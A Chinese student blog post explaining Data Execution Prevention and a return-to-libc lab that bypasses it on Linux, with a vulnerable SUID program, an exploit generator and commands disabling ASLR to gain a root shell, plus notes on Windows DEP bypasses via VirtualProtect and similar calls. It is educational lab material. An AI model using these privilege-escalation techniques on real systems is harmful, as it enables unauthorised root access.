20155306 白皎 0day漏洞——漏洞利用原理之DEP

20155306 白皎 0day漏洞——漏洞利用原理之DEP

一、DEP机制的保护原理

1.为什么出现DEP?

溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP(数据执行保护,Data Execution Prevention)就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

2.DEP是什么?

DEP-数据执行保护的缩写,DataExecutionPrevention。能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。

2.DEP工作原理是什么?

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP 的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。

二、利用Ret2Lib绕过DEP

- Linux下利用Ret2Libc绕过DEP

原理分析

系统库函数通常是不受DEP保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。system函数是通过/bin/sh命令去执行一个用户执行命令或者脚本,因此,我们完全可以利用system来实现Shellcode的功能。

return-into-libc原理
攻击者能够通过缓冲区溢出改写返回地址为一个库函数的地址,并且将此库函数执行时的参数也重新写入栈中。这样当函数调用时获取的是攻击者设定好的参数值,并且结束后返回时就会返回到库函数而不是 main()。而此库函数实际上就帮助攻击者执行了其恶意行为。

攻击步骤

1.输入命令安装一些用于编译 32 位 C 程序的东西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev


2.输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。
关闭地址空间随机化,不能随机堆(heap)和栈(stack)的初始地址。以及设置堆栈不可执行

gcc -z noexecstack -o test test.c  //栈不可执行

sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化



3.添加一个新用户,可以参考教程:linux中新建一个用户

4.即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。

5.把以下漏洞代码保存为“retlib.c”文件,保存到 /tmp 目录下,并进行编译,设置。代码如下:


include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}


6.编译上述程序编译该程序,并设置 SET-UID。

sudo su//获取root权限

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行

chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作

exit

7.此外,我们还需要用到一个读取环境变量的程序,并通过 gcc -m32 -o getenvaddr getenvaddr.c进行编译。

include <stdio.h>
include <stdlib.h>
include <string.h>

int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p\n", argv[1], ptr);
 return 0;
}


8.获得 BIN_SH 地址

export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

9.以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。

include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");

 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}


10.获取 system 和 exit 地址

gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址


11.修改 exploit.c 文件,填上刚才找到的内存地址。删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c。

12.首先运行攻击程序,生成badfile文件,载运行漏洞程序,可以看到攻击成功,获得root权限。

问题

1.在编译retlib程序时,出现如下错误:bits/libs-header-start.h没有那个文件或目录

解决:下载sudo apt-get install lib32readline-gplv2-dev软件包,即可解决

- Windows下绕过DEP

突破思路:
既然DEP不允许直接执行,我们可以在其他可执行位置为shellcode中的溢出部分找到替代指令(shellcode中0x90用于填充),进而使被覆盖的函数返回地址执行我们预定的指令,来关闭DEP或者对内存空间做一些新操作,就可以完成exploit了。(每一条指令都有一个ret,以便回收程序控制权),如下图:

在做实验之前,首先我们要明确实验环境。DEP有四种状态:

  • OptIn(选择启用,默认值):系统的默认设置是 OptIn 模式,在该设置下,仅为基本 Windows 程序和服务器用 DEP。
  • OptOut(选择禁用):如果在该对话框中选择,“为除下列程序之外的所有程序和服务启用”,则会将 DEP 设置为 OptOut 模式,在该模式下,DEP 提供了更广的保护范围。但同时也意味着增加了不兼容性的可能,因此,系统在提供了一个白名单列表,可以把产生冲突的程序(一般为系统级的程序、驱动等)添加到列表中,为这些程序关闭 DEP。
  • AlwaysOn:对所有进程启用DEP 的保护,不存在排序列表,在这种模式下,DEP不可以被关闭,目前只有在64位的操作系统上才工作在AlwaysOn模式。
  • AlwaysOff:对所有进程都禁用DEP,这种模式下,DEP也不能被动态开启,这种模式一般只有在某种特定场合才使用,如DEP干扰到程序的正常运行。

在这里,我们需要开启DEP,设置为optout模式。

三种有效绕过DEP的exploit的方法

  • 通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行。

一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和修改。
我们只要构造一个符合函数结构体的栈帧,利用系统中已存在的关闭进程DEP的调用,构造参数来调用函数即可。

  • 通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,然后再转入shellcode执行。

对所有程序默认开启DEP的情况下,如果一个程序自身偶尔需要从堆栈中取指令,就会发生错误。
函数VirtualProtect提供了修改内存属性的功能。只要我们在栈帧中布置好合适的参数,并让程序转入该函数执行,我们就可以将shellcode所在内存设置为可执行状态,从而绕过DEP。

  • 通过跳转到VIrtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。

函数VirtualAlloc可以用来申请一段具有可执行属性的内存。我们将Ret2Libc的第一条设置为该函数地址,然后将shellcode代码复制到申请的空间之中既可以绕过DEP。

参考文献:
[1]王清.《0day安全:软件漏洞分析技术》[M].中国:电子工业出版社,2008.
[2]王清.《0day安全:软件漏洞分析技术(第2版)》[M].中国:电子工业出版社,2011.

posted on 2018-06-24 15:24  20155306  阅读(1887)  评论(0编辑  收藏  举报

导航